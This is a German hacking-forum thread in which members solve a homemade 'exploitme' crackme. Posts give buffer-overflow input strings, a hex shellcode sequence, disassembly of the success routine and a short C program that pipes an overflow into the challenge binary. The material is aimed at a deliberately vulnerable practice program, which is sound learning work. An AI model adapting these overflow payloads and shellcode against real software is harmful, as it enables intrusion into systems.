Hackerboard Wiki HaboBlog
Hackerboard bei Facebook Hackerboard bei Google+ Hackerboard bei Twitter

[HaBo]

 
Hacks & Crackmes Tests, Fragen oder Hilfestellungen. Crackmes und Hackits werden hier diskutiert.

exploitme #1

Diskussion: exploitme #1 im Forum Hacks & Crackmes, in der Kategorie Software Home; Anzeige So, habe mich auch mal daran gewagt ein Exploitme zu Schreiben. Regeln: -kein Patchen (es dürfen keine Veränderungen am ...

Antwort
Alt 12.04.07, 15:59   #1 (permalink)
 
Registriert seit: 08.03.07
loose Leistung: Z3
Likes: 1
Lightbulb exploitme #1

Anzeige

So, habe mich auch mal daran gewagt ein Exploitme zu Schreiben.
Regeln:

-kein Patchen (es dürfen keine Veränderungen am Programm vorgenommen werden)
-Die Erfolgsmeldung soll nur mithilfe der Tastatur aufgerufen werden

Viel Erfolg...

Angehängte Dateien
Dateityp: zip exploitme.zip (8,4 KB, 272x aufgerufen)
loose ist offline   Mit Zitat antworten
Alt 02.06.07, 00:24   #2 (permalink)
 
Registriert seit: 31.07.05
Grafix Leistung: Facit NTK
Likes: 0
Standard

Code:
_grafix_xxxxxxxxxxxxxxxxxxxx;‼@
Die letzten 3 Bytes überschreiben eine Rücksprungadresse im Stack mit der der Erfolgsmeldung. Es hat mich leicht verwirrt, dass die Funktion, die schließlich wirklich aufgerufen wird, erst soweit hinten steht. Aber es hätte mir klar sein sollen...
Nachdem die Maximallänge des Puffers bekannt ist (ausprobieren bis wann das Programm fehlerfrei läuft), muss nur noch die gewünschte Sprungadresse angefügt werden.

EDIT: Die Anzeige des vorletzten Bytes scheint hier nicht hinzuhauen.
Denkt euch ein ALT+NUM19.
Grafix ist offline   Mit Zitat antworten
   
HaBOT
 
- Anzeige -

Werbung ist gerade online    
Alt 15.09.07, 00:43   #3 (permalink)
 
Registriert seit: 15.09.07
Blinky182 Leistung: Facit NTK
Likes: 0
Standard

Ich hätte noch eine Alternativlösung zu bieten: Angenommen die Funktion um den String aufzurufen wäre nicht bereits im Programm vorhanden, dann Könnte man trotzdem noch mit diesem String ans Ziel kommen: (Hexcode)
Code:
68 21 24 51 11 26 81 2c 24 11 11 11 11 b8 f1 3b
51 11 2d 01 11 11 11 ff d0 90 90 41 58 ff 22
SKA!
Tom
Blinky182 ist offline   Mit Zitat antworten
Alt 14.10.07, 02:19   #4 (permalink)
 
Registriert seit: 27.07.07
cw2k Leistung: Facit NTK
Likes: 0
Standard Speicherüberfüllungen ... die Zweite !

Zitat:
Original von Grafix
Code:
_grafix_xxxxxxxxxxxxxxxxxxxx;‼@
Die letzten 3 Bytes überschreiben eine Rücksprungadresse im Stack mit der der Erfolgsmeldung.
EDIT: Die Anzeige des vorletzten Bytes scheint hier nicht hinzuhauen.
Denkt euch ein ALT+NUM19.
Nun ich hab's mal ausprobiert(meine erster eigene Speicherüberfüllung :] )
Die Adresse mit der Erfolgsmeldung ist die 0040132C
2C 13 40 00 als Bytes
; !! @ /0 Als A-C-zwei-I

Nur ist dabei auch zu beachten, das an vermeintlicher Adresse noch gecheckt wird ob das 2.Argument (ESP+8 ) 5 ist -> Sonst no_Welcome

0040132C PUSH EBP
0040132D MOV EBP, ESP
0040132F SUB ESP, 8
00401332 CMP [DWORD EBP+8], 5
00401336 JNZ SHORT <NoWelcome>

00401338 SUB ESP, 0C
0040133B PUSH 00401310 ; ASCII "Herzlichen Glueckwunsch!!!"
00401340 CALL <JMP.&msvcrt.printf>
00401345 ADD ESP, 10
00401348 <NoWelcome> CALL <JMP.&msvcrt.getchar>
0040134D SUB ESP, 0C
00401350 PUSH 0
00401352 CALL <JMP.&msvcrt.exit>

Daher beim 'Ret'urn besser mit 00401338 am 'Türsteher' vorbei springen. also nicht ';' sondern '8'

Code:
11111111222222223333333344448<ALT+NUM19>@
^- So damit kommt man rein.

Ein Stackegg ist natürlich auch eine Lösung so al la:
6A 05 PUSH 5
6A 05 PUSH 5
68 2C134000 PUSH 0040132C
C3 RETN
... dann ist die Fün'in'f ganz legitim auf der 'Rolle' und alles geht glatt.

Doch ups ..00 PUSH... Das geht soo nicht. Die 00 würde den String abschneiden. Da muss man mit drum rum p... ach nee so macht das keinen Spass, das mit den Stapelüberläufen ist ja wirklich eine elende Frimmelei und auch schon der Aufruf dieses Ei's ... mittels 'absoluter!!!' Stackadresse <aaghhrr> als Lieberhaber für 'wohlgeformten' , schlichtem, einfachen und soliden Kodes ist das wirklich arg.

Die Phase, wo man sich selbst mit Begeisterung für supergenialen ProgrammierTricks schließlich selbst ausgetrickst d.h. selber nicht mehr durchblickt, was man da fabriziert hat, ist da bei mit im Moment ganz schwach.
cw2k ist offline   Mit Zitat antworten
Alt 27.10.07, 12:23   #5 (permalink)
gesperrt
 
Registriert seit: 22.10.07
Destruction Leistung: Facit NTK
Likes: 0
Standard

wow ich hoffe ich werde das auch bald so gut beherschen wie ihr ! das ist ja der Hammer !
Destruction ist offline   Mit Zitat antworten
Alt 03.11.07, 16:41   #6 (permalink)
gesperrt
 
Registriert seit: 03.11.07
Bl4ckfalçon Leistung: Facit NTK
Bl4ckfalçon eine Nachricht über ICQ schicken
Likes: 0
Standard

POOOOOOOOOH was seit denn ihr für freaks ich hab nichts verstanden

also wie geht das nochmal ... wie baut man ein exploid und was üfr einen exploid hast du gemacht äh ja ... bitte kann mir das jemand erklären

ich interessiere mich für solche sachen.

ps: welche sprache ist das?^^
und mit welchem programm hast du das gemacht ?(
Bl4ckfalçon ist offline   Mit Zitat antworten
Alt 03.11.07, 17:03   #7 (permalink)
HKA
 
Registriert seit: 15.10.06
HKA Leistung: Facit NTK
Likes: 0
Standard

Also ...
- warscheinlich ist das Programm in C, Assembler geschrieben.
- zum bauen eines solchen Exploits/ Exploitme muss man wissen, was ein Bufferoverflow ist und warum er entsteht.
guck dazu auf Wikipedia:
http://de.wikipedia.org/wiki/Puffer%C3%BCberlauf
( Englische Version finde ich besser )
- um die Lücke auszunutzen, versucht man durch viele Zeichen den Puffer grade nicht überlaufen zu lassenüberlaufen zu lassen.(also mit 111111112222222233333333444488 würde das Programm abstürzen.) In unserm Beispiel bei: 11111111222222223333333344448 stürzt es grade nicht ab.
Nun nimmt man einen Deassemblierer z.B. OLLYDBG und verfolgt das Programm und sucht die Funktion in Assembler, die die Erfolgsnachricht ausgibt. ( Adresse: 0040132C )
Jetzt, kann man mit ;&adresseinasci@ die Funktion aufrufen. ( steht aber auch alles auf Wikipedia )
zusammen ergibt das: 11111111222222223333333344448<ALT+NUM19>@
wobei alt num 19 für ‼ steht.

probiers paar mal, dann bekommst das auch hin. Ist sowiso eine Friemelei

MFG -=HKA=-

PS das heißt exploit
HKA ist offline   Mit Zitat antworten
Alt 03.11.07, 17:14   #8 (permalink)
 
Registriert seit: 31.07.05
Grafix Leistung: Facit NTK
Likes: 0
Standard

Ich glaube kaum, dass man mit einer Step-by-Step Anleitung Spass an der Sache haben kann.
Wenn jemand schon sagt, dass er uns für Freaks hält, wird er nicht wirklich an den Hintergründen interessiert zu sein.
Grafix ist offline   Mit Zitat antworten
Alt 03.11.07, 17:17   #9 (permalink)
HKA
 
Registriert seit: 15.10.06
HKA Leistung: Facit NTK
Likes: 0
Standard

stimmt eig. hast du recht ^^
HKA ist offline   Mit Zitat antworten
Alt 03.11.07, 18:49   #10 (permalink)
gesperrt
 
Registriert seit: 03.11.07
Bl4ckfalçon Leistung: Facit NTK
Bl4ckfalçon eine Nachricht über ICQ schicken
Likes: 0
Standard

ich bin selber ein freak also wo liegt das problem ... mich haben nur diese zahlen usw erstaunt wie ihr da noch drauskommt...





hmm was bist du von beruf? ich meine das ganze lernt man doch nicht einfach so von selber ?(
Bl4ckfalçon ist offline   Mit Zitat antworten
Alt 03.11.07, 21:05   #11 (permalink)
CDW
Moderator
 
Benutzerbild von CDW
 
Registriert seit: 20.07.05
CDW Leistung: OpteronCDW Leistung: OpteronCDW Leistung: OpteronCDW Leistung: OpteronCDW Leistung: OpteronCDW Leistung: Opteron
Likes: 202
Standard

[OT]Genau das bekommt man nicht in einem Beruf beigebracht.
Aber wenn man sich paar Monate mit dem Thema beschäftigt, sieht vieles auch nicht mehr nach Hexerei aus [/OT]
__________________
Noch mal, für alle Pseudo-Geeks: 1+1=0. -> 10 wäre Überlauf!
Selig, wer nichts zu sagen hat und trotzdem schweigt.
CDW ist offline   Mit Zitat antworten
Alt 03.11.07, 21:09   #12 (permalink)
gesperrt
 
Registriert seit: 03.11.07
Bl4ckfalçon Leistung: Facit NTK
Bl4ckfalçon eine Nachricht über ICQ schicken
Likes: 0
Standard

Zitat:
Original von CDW
[OT]Genau das bekommt man nicht in einem Beruf beigebracht.
Aber wenn man sich paar Monate mit dem Thema beschäftigt, sieht vieles auch nicht mehr nach Hexerei aus [/OT]
hoffe ihr wirft mich nicht gleich raus ich habe keine ahnung wovon hier die meisten reden also ich habe bis jetzt immer mit html php-> include etc gearbeitet ... und jetzt kommt ihr und fangt mit assembler exploids proxy usw an

noch nie zuvor gehört also ja das werde ich schon irgendwann auch sogut können wie ihr

aso sorry wenn ich manchmal ein bisschen noobfragen stelle typische anfänger
Bl4ckfalçon ist offline   Mit Zitat antworten
Alt 04.02.09, 18:06   #13 (permalink)
 
Registriert seit: 22.10.08
zaibl Leistung: Facit NTK
Likes: 0
Standard

schade, dass es schon so lange her ist, seit dem hier ein exploitme aufgetaucht ist, ich hab auchmal gelöst und ein exploit dazu gebastelt:

Code:
#include <windows.h>

int main(int argc, char *argv[]) {
    char exploit[500];
    char ret[] = "\x13\x40";
    char overflow[] = "echo AAAABBBBCCCCDDDDEEEEFFFFGGGG8";
    strcpy(exploit, overflow);
    strcat(exploit, ret);
    strcat(exploit, "| exploitme.exe");
    system(exploit);
    return 0;
}
ist zwar nicht der erwünschte "tastaturweg" aber mit den vorher genannten ascii zeichen die man per ALT und tastatur eingeben kann wäre dies ja auch erfüllt.

würde mich freuen wenn ich hier öfters exploitme's sehen könnte


mfg
zaibl ist offline   Mit Zitat antworten
Antwort
   
- Anzeige -

Werbung ist gerade online    

[HaBo] » Software Home » Hacks & Crackmes » exploitme #1
Themen-Optionen
Ansicht

Forumregeln
Es ist Ihnen nicht erlaubt, neue Themen zu verfassen.
Es ist Ihnen nicht erlaubt, auf Beiträge zu antworten.
Es ist Ihnen nicht erlaubt, Anhänge hochzuladen.
Es ist Ihnen nicht erlaubt, Ihre Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks sind aus
Pingbacks sind aus
Refbacks sind aus


Ähnliche Themen
Thema Autor Forum Antworten Letzter Beitrag
Einfaches ExploitMe Grafix Hacks & Crackmes 8 08.05.07 19:38
[exploitme] 1337-Cr3w th3B0d Hacks & Crackmes 4 04.05.07 21:16
ExploitMe-Contest CDW Hacks & Crackmes 8 05.06.06 23:47


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61